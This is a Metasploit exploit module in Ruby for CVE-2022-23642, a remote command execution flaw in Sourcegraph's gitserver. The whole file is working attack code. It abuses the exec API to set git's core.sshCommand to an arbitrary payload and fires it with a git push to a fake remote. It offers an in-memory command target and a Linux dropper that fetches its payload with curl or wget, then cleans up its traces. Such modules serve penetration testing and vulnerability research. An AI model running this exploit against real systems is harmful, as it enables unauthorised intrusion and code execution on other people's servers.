##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sourcegraph gitserver sshCommand RCE',
        'Description' => %q{
          A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
          arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
          then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
          feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
          commands that are able to be executed through the git exec REST API.
        },
        'Author' => [
          'Altelus1', # github PoC
          'Spencer McIntyre' # metasploit module
        ],
        'References' => [
          ['CVE', '2022-23642'],
          ['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],
          ['URL', 'https://github.com/Altelus1/CVE-2022-23642'],
        ],
        'DisclosureDate' => '2022-02-18', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory
            },
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              # when the OS command is executed, it's executed twice which will cause some of the command stagers to
              # be corrupt, these two work even for larger payloads because they're downloaded in a single command
              'CmdStagerFlavor' => %w[curl wget],
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            },
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 3178
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])
    ])
  end

  def check
    begin
      cloned_repos = send_request_list
    rescue RuntimeError => e
      return CheckCode::Unknown(e.message)
    end

    if cloned_repos.empty?
      vprint_warning('There must be at least 1 cloned git repo to be exploitable.')
      return CheckCode::Detected
    end

    res = send_request_exec(cloned_repos.sample, ['config', '--default', '', 'core.sshCommand'])
    if res && res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
      return CheckCode::Vulnerable('Successfully set core.sshCommand.')
    end

    CheckCode::Safe('Failed to set core.sshCommand.')
  end

  def exploit
    if datastore['EXISTING_REPO'].blank?
      @git_repo = send_request_list.sample
      print_status("Using automatically identified repository: #{@git_repo}")
    else
      @git_repo = datastore['EXISTING_REPO']
    end

    print_status("Executing #{target.name} target")

    @git_origin = Rex::Text.rand_text_alphanumeric(rand(4..11))
    vprint_status("Using #{@git_origin} as a fake git origin")
    send_request_exec(@git_repo, ['remote', 'add', @git_origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"])

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded, 'git_origin' => @git_origin)
    when :linux_dropper
      execute_cmdstager('git_origin' => @git_origin)
    end
  end

  def cleanup
    return unless @git_repo && @git_origin

    vprint_status('Cleaning up the git changes...')
    # delete the remote that was created
    send_request_exec(@git_repo, ['remote', 'remove', @git_origin])
    # unset the core.sshCommand value
    send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])
  end

  def send_request_exec(repo, args, timeout = 20)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'exec'),
      'method' => 'POST',
      'data' => {
        'Repo' => repo,
        'Args' => args
      }.to_json
    }, timeout)

    res
  end

  def send_request_list
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'list'),
      'method' => 'GET',
      'vars_get' => { 'cloned' => 'true' }
    })
    fail_with(Failure::Unreachable, 'No server response.') unless res
    fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)

    res.get_json_document
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")
    res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
    fail_with(Failure::Unreachable, 'No server response.') unless res
    fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/

    send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)
  end

end